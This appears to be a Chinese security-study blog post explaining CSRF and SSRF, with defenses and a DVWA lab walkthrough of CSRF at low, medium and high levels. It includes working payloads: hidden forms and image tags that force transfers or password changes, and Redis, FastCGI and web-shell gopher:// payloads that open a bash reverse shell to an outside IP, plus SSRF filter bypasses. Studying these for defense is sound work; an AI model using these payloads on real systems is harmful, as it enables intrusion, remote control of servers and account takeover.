0%

Web安全学习——CSRF攻击和SSRF攻击

CSRF

CSRF简介

CSRF攻击的全称是跨站请求伪造( cross site request forgery),是一种对网站的恶意利用,尽管听起来跟XSS跨站脚本攻击有点相似,但事实上CSRF与XSS差别很大,XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。

可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求。 CRSF能做的事情包括利用你的身份发邮件、发短信、进行交易转账等,甚至盗取你的账号。

攻击原理

1

实例

假设某银行网站A以GET请求来发起转账操作,转账的地址为www.xxx.com/transfer.do?accountNum=l000l&money=10000,参数accountNum表示转账的账户,参数money表示转账金额。

而某大型论坛B上,一个恶意用户上传了一张图片,而图片的地址栏中填的并不是图片的地址,而是前而所说的砖账地址:\<img src="http://www.xxx.com/transfer.do?accountNum=l000l&money=10000">

当你登录网站A后,没有及时登出,这时你访问了论坛B,不幸的事情发生了,你会发现你的账号里面少了10000块…

为什么会这样呢,在你登录银行A时,你的浏览器端会生成银行A的cookie,而当你访问论坛B的时候,页面上的<img>标签需要浏览器发起一个新的HTTP请求,以获得图片资源,当浏览器发起请求时,请求的却是银行A的转账地址www.xxx.com/transfer.do?accountNum=l000l&money=10000,并且会带上银行A的cookie信息,结果银行的服务器收到这个请求后,会以为是你发起的一次转账操作,因此你的账号里边便少了10000块。

当然,绝大多数网站都不会使用GET请求来进行数据更新,因此,攻击者也需要改变思路,与时俱进。

假设银行将其转账方式改成POST提交,而论坛B恰好又存在一个XSS漏洞,恶意用户在它的页面上植入如下代码:

1
2
3
4
5
6
7
8
<form id="aaa" action="http://www.xxx.com/transfer.do" metdod="POST" display="none">
<input type="text" name="accountNum" value="10001"/>
<input type="text" name="money" value="10000"/>
</form>
<script>
var form = document.forms('aaa');
form.submit();
</script>

如果你此时恰好登录了银行A,且没有登出,当你打开上述页面后,脚本会将表单aaa提交,把accountNum和money参数传递给银行的转账地址http://www.xxx.com/transfer.do,同样的,银行以为是你发起的一次转账会从你的账户中扣除10000块。

当然,以上只是举例,正常来说银行的交易付款会有USB key、验证码、登录密码和支付密码等一系列屏障,流程比上述流程复杂得多,因此安全系数也高得多。

CSRF的防御

  • 尽量使用POST,限制GET

GET接口太容易被拿来做CSRF攻击,看上面示例就知道,只要构造一个img标签,而img标签又是不能过滤的数据。接口最好限制为POST使用,GET则无效,降低攻击风险。
当然POST并不是万无一失,攻击者只要构造一个form就可以,但需要在第三方页面做,这样就增加暴露的可能性。

  • 将cookie设置为HttpOnly

CRSF攻击很大程度上是利用了浏览器的cookie,为了防止站内的XSS漏洞盗取cookie,需要在cookie中设置“HttpOnly”属性,这样通过程序(如JavaScript脚本、Applet等)就无法读取到cookie信息,避免了攻击者伪造cookie的情况出现。
在Java的Servlet的API中设置cookie为HttpOnly的代码如下:
response.setHeader( "Set-Cookie", "cookiename=cookievalue;HttpOnly");

  • 增加token

CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于cookie中,因此攻击者可以在不知道用户验证信息的情况下直接利用用户的cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信总不存在于cookie之中。鉴于此,系统开发人员可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。
假设请求通过POST方式提交,则可以在相应的表单中增加一个隐藏域:
<input type="hidden" name="_toicen" value="tokenvalue"/>

token的值通过服务端生成,表单提交后token的值通过POST请求与参数一同带到服务端,每次会话可以使用相同的token,会话过期,则token失效,攻击者因无法获取到token,也就无法伪造请求。
在session中添加token的实现代码:

1
2
3
4
5
HttpSession session = request.getSession();
Object token = session.getAttribute("_token");
if(token == null I I "".equals(token)) {
session.setAttribute("_token", UUID.randomUUIDO .toString());
}
  • 通过Referer识别

根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限的页面的请求都来自于同一个网站。比如某银行的转账是通过用户访问http://www.xxx.com/transfer.do页面完成的,用户必须先登录www.xxx.com,然后通过单击页面上的提交按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是提交按钮所在页面的URL(本例为www.xxx. com/transfer.do)。如果攻击者要对银行网站实施CSRF攻击,他只能在其他网站构造请求,当用户通过其他网站发送请求到银行时,该请求的Referer的值是其他网站的地址,而不是银行转账页面的地址。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值即可,如果是以www.xx.om域名开头的地址,则说明该请求是来自银行网站自己的请求,是合法的;如果Referer是其他网站,就有可能是CSRF攻击,则拒绝该请求。
取得HTTP请求Referer:
String referer = request.getHeader("Referer");

SSRF

SSRF简介

SSRF (Server-side Request Forge, 服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(因为服务器是从内部系统访问的,所有可以用来攻击外网无法访问的内部系统——中间人)正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。

原因

服务端提供从其他内部服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等。

SSRF用途

  • 内外网的端口和服务扫描
  • 本地主机敏感数据的读取
  • 内外网主机应用程序漏洞的利用
  • 内外网Web站点漏洞的利用

SSRF实例

file_get_contents()

该函数可以远程/本地读取文件,然后返回文件的内容。我们可以利用此函数进行如:查看指定网站的源码、下载指定网站的图片、文件等等。

1
2
3
4
5
<?php
header('Content-Type:text/plain;charset=utf-8');
$str1=file_get_contents("http://www.baidu.com"); //读取百度的HTML源码
print_r($str1);
?>

2

那么,如果这里的URL可控的话,就导致了SSRF攻击了。

如,有的网页工具支持查看指定网站源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>查看指定网站源码</title>
</head>
<body>
<form action="" method="post">
URL:<input type="text" name="url" id="">
<input type="submit" value="查看"">
</form>
</body>
<?php
if(isset($_POST['url'])){
$url=$_POST['url'];
header('Content-Type:text/plain;charset=utf-8');
$str1=file_get_contents($url);
print_r($str1);
}
?>
</html>
  • 端口扫描

    通过指定不同的端口,通过判断返回内容或返回时间、状态等进行判断端口是否开放。

3

4

  • 读取文件:file协议

5

6

  • gopher协议

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

  • 攻击内网 Redis

Redis 任意文件写入现在已经十分受到广大渗透狗们的欢迎,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。

首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。

常见的 exp 是这样的:

1
2
3
4
5
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

改成适配于 Gopher 协议的 URL:

1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
  • 攻击FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

构造 Gopher 协议的 URL:

1
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
  • 攻击内网 Vulnerability Web

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。

一个只能 127.0.0.1 访问的 exp.php,内容为:

1
<?php system($_POST[e]);?>

利用方式:

1
2
3
4
5
6
7
8
POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

1
gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

fsockopen()

该函数可以打开一个网络连接或者一个Unix套接字连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$fp = fsockopen("www.example.com",80,$errno,$errstr,30);
if (!$fp){
echo"errstr ($errno)<br />\n";
}else{
$out = "GET / HTTP/1.1\r\n";
$out .="Host: www.example.com\r\n";
$out .="Connection: Close\r\n\r\n";
fwrite($fp,$out);
while(!feof($fp)){
echo fgets($fp,128);
}
fclose($fp);
}
?>

curl_exec()

该函数可以执行 cURL 会话。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//创建新的cURL资源
$ch = curl_init();

//设置URL和相应的选项
curl_setopt($ch,CURLOPT_URL,"http://www.example.cpm/");
curl_setopt($ch,CURLOPT_HEADER,0);

//抓取URL并把它传递给浏览器
curl_exec($ch);

//关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

从URL关键字中寻找SSRF

在对功能上存在SSRF漏洞中URL地址特征的观察,大致有以下关键字:

1 share
2 wap
3 url
4 link
5 src
6 source
7 target
8 u
9 3g
10 display
11 sourceURl
12 imageURL
13 domain
14

绕过方式

  • @
1
http://abc@127.0.0.1
  • 添加端口号
1
http://127.0.0.1:8080
  • 短地址
1
http://dwz.cn/11SMa
  • 可以指向任意ip的域名:xip.io

      10.0.0.1.xip.io   resolves to   10.0.0.1
        www.10.0.0.1.xip.io   resolves to   10.0.0.1
        mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
        foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1
    
  • ip地址转换成进制来访问

1
115.239.210.26 = 16373751032

SSRF防御

  • 过滤返回的信息
  • 统一错误信息,避免用户可以通过错误信息来判断服务器的端口状态
  • 限制请求的端口为HTTP常见的端口,比如80、443、8080
  • 黑名单内网IP,避免应用被用来获取内网数据
  • 禁用不需要的协议,仅使用HTTP和HTTPS请求,可以防止类似于file://、gopher://、ftp://等引起的问题

DVWA之CSRF实践

  • low

7

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// 获取用户的输入
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// 确认两次输入的密码是否相同,相同就更新数据库内的信息
if( $pass_new == $pass_conf ) {
// 以下两段代码都是防止SQL注入
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// 更新数据库内的信息
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 修改成功,返回信息给用户
echo "<pre>Password Changed.</pre>";
}
else {
// 两次输入的密码不一样,返回错误信息
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。

攻击方法

  1. 构造链接

http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

当受害者点击了这个链接,他的密码就会被改成admin

8

但这种方法非常低级,一眼就能看出来,需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

  1. 短链接

操作链接:https://dwz.cn/

可以使用该网站将真实的URL隐藏起来,但由于本地搭的环境,域名服务器是ip所以无法生成相应的短链接,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。

  1. 构造攻击页面

实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示,就在本地写一个test.html,下面是具体代码。

1
2
3
4
5
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。

9

  • Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// 检查请求的来源
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// 获取用户输入
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// 以下代码和low级差不多
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

相关函数

stripos() 函数

作用: 查找字符串在另一字符串中第一次出现的位置(不区分大小写)

语法:stripos(string,find,start)

参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。

可以看到,该函数在HTTP_REFERER中搜索SERVER_NAME,其中HTTP_REFERER表示http包头中的Referer参数的值,表示来源地址,而SERVER_NAME表示http包头中的Host参数,表示要访问的主机名。

10

攻击方法

过滤规则是http包头的Referer参数的值当中必须包含有主机名(这里是127.0.0.1),我们可以将攻击页面命名为127.0.0.1.html就可以绕过

11

密码修改成功

12

  • High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// 检查token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// 生成token
generateSessionToken();

?>

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

攻击方法

利用bp的插件CSRF Token Tracker绕过token验证

13

设置参数

14

抓包

15

发现此时的token值已经变为我们设置的token值,直接执行就修改密码成功了。